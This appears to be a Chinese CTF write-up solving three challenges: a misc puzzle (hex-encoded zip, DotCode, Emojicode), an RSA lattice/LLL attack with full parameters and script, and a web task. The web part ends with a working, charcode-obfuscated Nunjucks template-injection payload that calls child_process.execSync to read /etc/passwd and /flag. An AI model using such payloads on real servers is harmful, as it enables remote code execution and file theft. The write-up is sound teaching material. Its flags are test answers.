公众号:Th0r安全
题目附件
链接:https://pan.baidu.com/s/1bM_E-YQh860qLycve6E70g
提取码:3i5d
附件中发现flag.ws文件,打开
得到一串ASC II HEX编码,发现文件头为50 4B 03 04,是一个压缩包
ASC II HEX编码:
504B0304140000000800AC9C7553E5D2B438D80500009E06000008000000666C61672E6769664D537150D775125DBDC613BCB93A334E6DC0844B942F8AE39699A6D571A381A379E61752042EAD4560024E140FE8E85BA92128788D250B246817E847142F851333CD084DD853B3FB4E82C829888209261462897BFCE6FEB9FDEFCDCEECDB7DEFEDBCB0B9339E7EC581257007FE570840000C20000A1680856011580C9680A56003D8083681CD600BD80A0E8083E010380C8E80A360000C8221300C46C028B8002E824BE032B802AE0ECE0645500265500155F47023022130820CF6D002B4102D428BD112B4146D401BD126B4196D415BD10174101D4287D11174140DA041348486D1081A4517D04574095D4657D055544045544265544155F29C8D0444C00432B81659401692456431594296920D6423D94436932D642B39400E9243E43039428E9201324886C8301921A3E402B9482E91CBE40AB94A0AA4484AA44C2AA4CA1EC591811898410615610BD842B6882D664BD852B6816D649BD866B6856D6507D84176881D6647D85136C006D9101B66236C945D6017D92576995D6157598115598995598555C563360A90000BC8A019628158281689C56289582A36888D6293D82CB688ADE28038280E89C3E288382A06C4A01812C362448C8A0BE2A2B8242E8B2BE2AA2888A22889B2A888AA2708801E49803DCDC12858A016AA456AB15AA296AA0D6AA3DAA436AB2D6AAB3AA00EAA43EAB03AA28EAA0135A886D4B01A51A3EA82BAA82EA9CBEA8ABA1E32558FDBAA9EBB3DF8FF6AFCDD078600DC83600FF0FC040C57B833040E54969E786BD8C341C1D98B5EA9DDF0D0F8399BFFB2B53434D72B7071F3C4DF04D4BEE5F77CC6E689D3025EC81B357FF592BB7FF69FBF6D6A6CFD3335EF51C3DFA626EF2AEE3C4F670AC73EE9FD65D8C8F27325A1A9DED1E1A3E24F6D995712B37CF4FBE6EBB285E5099736B9AFBA39B36BD35CAFB48A977650ACCF407875D7A2EAE4D09F24C10E8E3C1CB632A6CAAC0989DE9D5533B4BB2132E4CAF149BF88FC4345F547D1A5F1D7FDD372FB92DB8EACBE12732CFB4E5CFB279BFF95151C7CE1FB57F74C082BE9961F0EBC56F74EE8DEBCCCA752AF9E29F8ACC5A7EB427577D3F1F1C7B37E35FAA9B8FFEC591018329091D67A7A5FEF94CACE7B877EA8ABDF933C39AF3833E5BB6D8F5F579F5F171EBD5875E9C49B7D493BA6A7DEBC35EF9D9229CFDEEFEDDA7F3D367FC19BBAF482FA969764DEDC10D7BCEE81FBF38A335ABD5E6E49DF71F7D0989481A5A7C63ABF6CBD3E6EF198B9DF96BCFB7D7C5CECC647FAAA2E67782DECFFD38A11AB2F3CB66158D9BBFE19532774F86FFA7143415BDEFDE88271F9537ACA573A635B87FF2E61CD952757AE0F3C76C16F4BD8CC316D29D3C24FB7262DA17557F367F7448CDAFE7C4BE48AB52FF40C5F113137ADF3B1F56D8F14EC5A1FF1FB4D138A1724D0E339F30B3BDA0BA7EF9854961DFAD3184A1D9BB7A7BD24CAE77451E9B9BAC6A82D410B1B63FEEEDDBDA9B478FA9C23FE65DB46867564E70EED7F6DE71F676EBFB67BDC3233B1E0F563E94125E937D4DD559674B2B03DE7C3F385F17BB3CDD3A5951BDFAE375BBFECBBD1668E4FAB0F2C2B6E098BCBF099131570F0C8E29CF28F326272824AEBFC8A6E547EFE41CDCEC317CFC41BF385FFAA7D0767C4FC6C8E9C4F325655636BCEBE8A7341F38378F98D9F3BB79E181ABCBFE496DFB2EEACEF9A96061EBADCED9D783469FAA729B50D11B3B6FFB379635187333A303C65F7BDEEDCE053BB6A723F3E7A74D9F2A9450F9E6D4AF822F0E01B8927EF0FF3EED9698D689EBCB1A3A979D5574362BD2A1BFA13A22A65E26F5F0FF97A6BCBAC35722DAF02CFCC2E4AEF2D7D22B62BF5133B3FEA76C3CD084EDD3F69FBA569FFAE9EDB9854EC9B39F9C7931FD75F8B6FEECC4A4C59FF5C80EF3FEA578466FE35A0965E6CB8F3CDDBE3BA0E7CD5E77BEFF68125B7DEE83EBBEED9BCFEE28703A3FBBF8D7BD477597BC68881AB973FD0C4B52D757E158777AF79F1C3192DC98F5E5CBBE8A1C89907F7AE9AF5D91397C35F6A59F74D62EDC28CCA97F35B0E37C7FB9CEDBD55F6E033231B0B7A8F7DDA5485033557269C9D72BBA7322E24FDDCE756E5A2E760D67F01504B03041400000008002A9E7553D51DBDD98E0300008903000008000000666C61672E6B676501890376FC9A01310777A532DBA03F369672CF44C57A0178C9E54C388B29080B5B8779D2AE172D1849859E3310CBD70053E9AA16BF14974A9C1CDD13D91CA1CCA4F78C3CCCE4EC9BCB0CD31B7D115F075F7208512244C439D91FB08019199A94B39B29A97696A16A87AC1CF6E5615BA413622DE7119E5E20AF6A824F1C8B0C781938FC28DD3390AC4831C8E7A28BF83F02AD6FED965887C461220079D58C7DDB2424373B495DC24EF0F2E0B44593C4C57376540B679A8BFB4094543114FCE487E7025152313044995B415DB6B21A831C9BA886E1C30FFE198ED7E5AC97CAEA00A41AD9CDB9B8DBCD91783299D7E74BD3A4963728EE1B94E0E448888673667B6C529E47C8AB3093A0FD858AACFA0C92719B9F7A395948D9AC61792794743ED2F2069CCFCA847692D9262DDC0F61101F9000E1E67A4CD51C50E4DC8F37A5DEB911226BF822BF1885EED7782E0523AA9F72F305B27D7D9006CDCEFB9DA78D8FBF97F79451DE6B4DE78F7E8EC241D0A58DED1B8643A90E1F9262EBD81495BD5615829A673AF602E5B8267F3850F37E830B7E6ABB28F6BE1D9EA945A558F18F69133CCB31FFB3CA1DD63884C0F9B35BE684F7DB5109510F9AA85DE63F56803AFC54CC4FF324227ACA3A318025A734DB64A2BCD1DDC7902381809422E3CE21BDCA80F69569C554AF0942EADE0D562CAAD39C2683762BC0ABE8713014D648D8CE1C5161A1A0D42478A4158F6DBA12CA325F220B74FEC16DD0F31DE3877BF0BA7682786DC3F3772A55ADEDAAC7B322733B870BEB3DCDC076E7F9210CD12EE9760006856470A71371396CE76ABADE90655130F4C19B776EA5DE5F1C687F796F229B431B6AD8EF7E211D12E4C92052A2A889A7826852BF11271369CABB872D5AE9F3148597D8E29C3E2E23DCF0A283B2FE2D1430F4C2FD6530DDB51704853C786ADE2710A6A37A9F0F15D25DF1C00B9C67CAD2CB50C17E477A0B6F44B278779371C8BA88EFF0D9A66787DD838932E41A9F5EA6B24243147E7B1F51565C3DCF8CADD48D797939F9C2A90B2B4EB2E99955BBF3D6217DC156426ABB9704ABB039DDC6907965627ED763C15E996BBD31D42B9ABBA8F895631AF3AC86C476191BAF2D71AA12C635BDDFDF22AECE13E77586532366B37D1D2521853EC4AA3ECD38C103408AF4A9E60385FB8872D6C76876B6080DCD040E1B5D3D0AE37BD5BFA8434B2D485E714B29637BBCC413BAB06567FE7DCBA3FFCAB5F7F032E1E0ABB2BE9A5116EABB72BD56E50E2B4EF8753CBFD16C80DB79C7504B01021F00140000000800AC9C7553E5D2B438D80500009E060000080024000000000000002000000000000000666C61672E6769660A002000000000000100180040343D27CCDED7013FA9E2C5D0DED701105BE2C5D0DED701504B01021F001400000008002A9E7553D51DBDD98E030000890300000800240000000000000020000000FE050000666C61672E6B67650A00200000000000010018002CF032D2CDDED7010D0188D7CDDED7010ADA87D7CDDED701504B05060000000002000200B4000000B20900000000
另存为.zip文件,解压压缩包中包含flag.gif和flag.kge,其中flag.gif图片为DotCode点码,flag.kge文件类似于一个压缩文件,需要解压缩,首先因为扫面电码需要使用jpg、png等格式图片,不支持gif格式图片,所以先把flag.gif图片打开截图,另存为png文件,这里我命名为3.png文件
DotCode点码扫描发现一个密码:This_1s_Hard_P@ssW0rd
用所得密码解压flag.kge
解压出final.rar,解压压缩包发现hint.txt与math
hint中提示:这是什么奇怪的emoji呢,flag为结果的md5格式
打开math文件发现是emojicode语言
运行得到37 assertions, 0 failures
将37 assertions, 0 failures进行md5进行加密得到flag
18eebeda59edbb8afc6504212d9b1708
flag:flag{18eebeda59edbb8afc6504212d9b1708}
题目附件
链接:https://pan.baidu.com/s/14wcWXGtDtA2eNR-vbR-h7Q
提取码:x5nl
在所给task.py的源码中
hint = (p - 297498275426) * inverse(s, M) % M
得出p0的值p0 = 297498275426
利用gmpy2模块用模逆求得h1的值,得到
h1= 96361307638526160128275232841313826844825253068870980900934192188891510551420052345552431792479840438980000477458899377104553629313980434701061722776746604537972756291434818103501339060242294117305489313746479784401926856581436285111060916064426422616104984224389185617187382575258631277595163432669517076779164313529836341265351052669603987753134000273982701751258305714891009754111869632318339922612121337239009455303063744344834798308651538128933243085858944997945472610002759802142612514835718077873731968091710019124811531090599086059676394415056193222210488607339239570752828864267138070386119725611507153145264064061390481712176086722958938267217810289512805568430677928120025006715679793323534102684719000948071840711716648476639307642260959880060757482391207020902196173340664132826499971030443682705323615549253407885232533737927587133190099112645483759858542550066099656314147004339559010681909642127340010803924819122128891330286686873273289668833736208584661679470437076112164758330869531349356510586090151089546366597956881151997011986962460030937979416744244429250707330074647102546719487245812119325549500806109393926145505166836485460582131283456276288223155465522414627989969498582512812807635975649240934207329634168165165231132359387645858396415008828376353069515116729802664022095002695969419374362481090766414385459297200738185201674785282665665671978205341651386058872588580265151829725849613776783226935931727969686464702666484422309933642834256383703645425112833012951078243635322495925603732
利用sage求解得到p-p0的值
e = 65537
c = 11223534598141520071392544441952727165225232358333005778273904279807651365082135278999006409297342081157139972503703772556228315654837441044781410960887536342197257046095815516053582104516752168718754752274252871063410625756822861003235434929734796245933907621657696650609132419469456238860601166224944487116
n = 99499509473364452726944770421623721217675378717234178828554602484867641740497277374806036356486848621495917213623425604565104435195783450029879177770305417469850119739921527698744700219067563802483159458398895082044997907953256062342593605652927874232404778144112740505724215742062859322375891810785229735653
M = 28858066896535909755146975040720031655813099454455588895434479778600245612915775220883088811806723015938061791264869678085304248608125313205719043320256733514389739252845381708094678596099621503299764646358765107958130065721737938646850422959290465490270263553423913213684958592738500488797707239673645370968467090153285601432966586133693641854092761919184904521240074718850103356119966387029699913571443658384564840234765103070736676067458391659605655580766436276719610283460962533141261830775028138998594269732067550977245136631815804641115446066102981044849495663224005844657686979516481904043008222498344271373989609634617315702887646444506965035406154183377067490922195507071571055579654138590566650703038341939225657159668601565182939447340585110418258653618384852356058444795156595720943362884361136229430356254095673818462046182310826133487611183265532844700265640889105864909560170846171486510513240630480729194415061752698286990999064594811803482429976978688266632277914610443963726561921790718480343488391563503774868490108659902216386976683532579945706490286814310031310144410303859633785939399012605326754445715302492704458881700872467560968264583996658711892595658439058034434031646411995511168849724976850557976639662545139917517675296224197763447929417263845949813741362574641118781293171167041592771305352186419565096347024619027397784780864922205105185970180629777320680707022011697404359388540366320053501502698747763307336114482530784826238326983596966436776918503653153420281803168537703048371580451
hint = 24302462761412867722556483860201357169283131384498485449193507018526006760633350601593235386242712333885826513399701577522498685938541691414316724804357523659514319083860507720945068584985970098437482386854188516742033184163273293005356970701527614010961471490166306765208284126815267752826036846338185010168551115391901008731195800723630612524215610302192763771954146943262822909368086155537366851998954401585888789660061750804720858175620022924944428882337005545535959410243692854073069775794945154943244522898330286785483043492678802461244624116832548150221211726044545331789932659966539042635768789637635754297830131948383991027466194455817875377950516103513735000718642093769229006510961952865719649517629939801014585849419818774317178973918720330390674833583065434312010539617630210110724391629534996688713945139529416075521015600392479980677759342058040778532467875961508475990300178277703011765698425360329342396347848373844031930655143343217447877587074485794273364964346235973542157189093330870952677683308479410235841331914353677363106473914986073397716367455628483060709281215783434084559550690248426391913205234184130354155776334292729262232484610747771114078013979494659835579574006801652858265173309736540235377076956677464263798132149783780830729103485354096234062135454873557941791812722418582207577124971978987895472250326100927372068822672582017222521124179752698654114839303426099426224351872025466618402675104161895600513776962289703455252021742990686505176582638132300246212598903123706906104217087
p0=297498275426
h1=96361307638526160128275232841313826844825253068870980900934192188891510551420052345552431792479840438980000477458899377104553629313980434701061722776746604537972756291434818103501339060242294117305489313746479784401926856581436285111060916064426422616104984224389185617187382575258631277595163432669517076779164313529836341265351052669603987753134000273982701751258305714891009754111869632318339922612121337239009455303063744344834798308651538128933243085858944997945472610002759802142612514835718077873731968091710019124811531090599086059676394415056193222210488607339239570752828864267138070386119725611507153145264064061390481712176086722958938267217810289512805568430677928120025006715679793323534102684719000948071840711716648476639307642260959880060757482391207020902196173340664132826499971030443682705323615549253407885232533737927587133190099112645483759858542550066099656314147004339559010681909642127340010803924819122128891330286686873273289668833736208584661679470437076112164758330869531349356510586090151089546366597956881151997011986962460030937979416744244429250707330074647102546719487245812119325549500806109393926145505166836485460582131283456276288223155465522414627989969498582512812807635975649240934207329634168165165231132359387645858396415008828376353069515116729802664022095002695969419374362481090766414385459297200738185201674785282665665671978205341651386058872588580265151829725849613776783226935931727969686464702666484422309933642834256383703645425112833012951078243635322495925603732
a = [int(h1),1,0]
b = [int(-h1*p0)-2**511,-2**511,1]
c = [M,0,0]
aa = [a,b,c]
aa = matrix(aa)
print(aa.LLL())
[-67039039649712985497870124991029230637396829102961966888617807218608820150366813865347147128591903743287552540787250416376653571228423066642275206473429200418764077831781011262060959033360679044010508660871491788813950802409206578328800029311179193659383540501854717037220870513102928895129591772776500091]
[-9210186622243622426133951626067501451798378921158428313097830898930385569906 -870809160574961635989963310869325667053012301538280540377966886136890610710255677640123026087538830768042094764041339763558207243526223626913425476976760]
[73737545682383307840067307065705820325267413694345985430788227594779628418088443097383623578721267346526232570433786514029537039459891851612579653844978978891773617326503163936405615611475931195993856005814171501977188093281354830622986520204171442514109468708543093371905197989610995569970734047162944647649900082081875440885419982759550866748906421217929903574846075787857703312132323180227676258847204128734038211955321538919285342248430970813055747734108333112534775521735673888899103156987840583850526442574847190081228147282874305517217758144667359296113434583571393931690454877593770797942222548340944612256479888699412490416529994664477161981670680697388667019552240112801302107503234407894008529513842267111319397021264938038880659577887120291240268066270287972924853114977372014238394768444860890200163829516230686704479347363481458432379475697709852806349854538060355535717696089624539628558971711499803652119849275528202326306443854849785465177117176946098484976507305353312769007258055622704836628850447058219085827078379694015853583673275010288 -779891378671943574577594338310606907703217031241790372785249622290732832203021735159040125684390432993732746902806286304852973161308073194136972944856667248031014030686430788853306178641760491488228109192713578769286486039909371554450485969381159224234889484203815554721565303394441452629011516511231993172229399791281002135261685923468389853497222563582248294899703109318314417527827969254557019828991702898811111315284557123167442600433204430572168491073579800404557956331719465747721008037234526509222974188627867333620490124335568379888047212263960278582470727780330728934391814746640418157202922828645665795969291295347445236179783252981126037567776743939575843100901548817114659129486898846229472947860751634788417869850947078136777327074215460803265265214462208259914544360059194069138788307333595931051298397231846004019985107237151027094818502775464517289494175037756459105861002977307251892150829414950482199399835459818820363260417776785657300111973819201603894741073509 494329424867381713582611989736676598245062876201738057052129148511086580095335061725394102786858607398810250532092438435601870292223861875844647486918880586730199985039983012973602769305162178276599354696314486710137492674376559742791095334771183672133907326960244600662695312785956001636070232182019564382022177294680770308173160479117163688295650387429012293168457612038350073157105544864189152754437418196901812338150229037023612462461322588920685758337954191653931108678638878348268020572127404835768522430600497619630801020989503670121741251069702814701082557557297690985039930821893378619583680596736488241899563002353629198300670240008139542702730730180341914331829160533970359535473705418225350641340479244504669840607258118159383411347899855178140273744579953804788861182109816884026092950628005698754826433137006049182583048211554997087792586756944116370623707694760056396155755196738986691334928215427435797580408337911655371192892029390301880387900020496598625094165297367340948943263915629731033182542128899512681276677497543952935702076713479877111619103911820006824295143649929899276712043538829953306254875202028810390694867976747110913850806685454009650196807677264432296864951272631040416903680]
得到
p-p0= 8708091605749616359899633108693256670530123015382805403779668861368906107102556776401230260875388307680420947640413397635582072435262236269134254769767613
p=p0+上述所求值
from Crypto.Util.number import *
import gmpy2
e = 65537
c = 11223534598141520071392544441952727165225232358333005778273904279807651365082135278999006409297342081157139972503703772556228315654837441044781410960887536342197257046095815516053582104516752168718754752274252871063410625756822861003235434929734796245933907621657696650609132419469456238860601166224944487116
n = 99499509473364452726944770421623721217675378717234178828554602484867641740497277374806036356486848621495917213623425604565104435195783450029879177770305417469850119739921527698744700219067563802483159458398895082044997907953256062342593605652927874232404778144112740505724215742062859322375891810785229735653
M = 28858066896535909755146975040720031655813099454455588895434479778600245612915775220883088811806723015938061791264869678085304248608125313205719043320256733514389739252845381708094678596099621503299764646358765107958130065721737938646850422959290465490270263553423913213684958592738500488797707239673645370968467090153285601432966586133693641854092761919184904521240074718850103356119966387029699913571443658384564840234765103070736676067458391659605655580766436276719610283460962533141261830775028138998594269732067550977245136631815804641115446066102981044849495663224005844657686979516481904043008222498344271373989609634617315702887646444506965035406154183377067490922195507071571055579654138590566650703038341939225657159668601565182939447340585110418258653618384852356058444795156595720943362884361136229430356254095673818462046182310826133487611183265532844700265640889105864909560170846171486510513240630480729194415061752698286990999064594811803482429976978688266632277914610443963726561921790718480343488391563503774868490108659902216386976683532579945706490286814310031310144410303859633785939399012605326754445715302492704458881700872467560968264583996658711892595658439058034434031646411995511168849724976850557976639662545139917517675296224197763447929417263845949813741362574641118781293171167041592771305352186419565096347024619027397784780864922205105185970180629777320680707022011697404359388540366320053501502698747763307336114482530784826238326983596966436776918503653153420281803168537703048371580451
hint = 24302462761412867722556483860201357169283131384498485449193507018526006760633350601593235386242712333885826513399701577522498685938541691414316724804357523659514319083860507720945068584985970098437482386854188516742033184163273293005356970701527614010961471490166306765208284126815267752826036846338185010168551115391901008731195800723630612524215610302192763771954146943262822909368086155537366851998954401585888789660061750804720858175620022924944428882337005545535959410243692854073069775794945154943244522898330286785483043492678802461244624116832548150221211726044545331789932659966539042635768789637635754297830131948383991027466194455817875377950516103513735000718642093769229006510961952865719649517629939801014585849419818774317178973918720330390674833583065434312010539617630210110724391629534996688713945139529416075521015600392479980677759342058040778532467875961508475990300178277703011765698425360329342396347848373844031930655143343217447877587074485794273364964346235973542157189093330870952677683308479410235841331914353677363106473914986073397716367455628483060709281215783434084559550690248426391913205234184130354155776334292729262232484610747771114078013979494659835579574006801652858265173309736540235377076956677464263798132149783780830729103485354096234062135454873557941791812722418582207577124971978987895472250326100927372068822672582017222521124179752698654114839303426099426224351872025466618402675104161895600513776962289703455252021742990686505176582638132300246212598903123706906104217087
p0 = 297498275426
h1 = gmpy2.invert(hint,M)
p = 8708091605749616359899633108693256670530123015382805403779668861368906107102556776401230260875388307680420947640413397635582072435262236269134254769767613+p0
q = n // p
print q
phi = (p - 1)*(q - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print long_to_bytes(m)
运行得到p的值与flag
p=11426098159976724615129622580835312249207837035640883882207032306633739510654413328963253517206425808623042239326899717411126775267302638284556461931522427
flag{388bb794-ccda-f02e-79c6-8e44659c2481}
打报错发现nunjuck模板注入 ,百度第一条 https://www.sohu.com/a/109253536_120004
最后用的是这个exp改
{{range.constructor("returnglobal.process.mainModule.require('child_process').
execSync('tail/etc/passwd')")()}}
range没有,用"1"代替
exp:
{{""["const"+"ructor"]["const"+"ructor"]["const"+"ructor"]["const"+"ructor"]
("return(ev"+"al(String[\"fro\"+\"mCh\"+\"arC\"+\"ode\"]
(39,49,39,46,99,111,110,115,116,114,117,99,116,111,114,46,99,111,110,115,116,1
14,117,99,116,111,114,46,99,111,110,115,116,114,117,99,116,111,114,40,34,114,1
01,116,117,114,110,32,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,1
09,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,1
04,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,11
0,99,40,39,99,97,116,32,47,102,108,97,103,39,41,34,41,40,41)))")()}}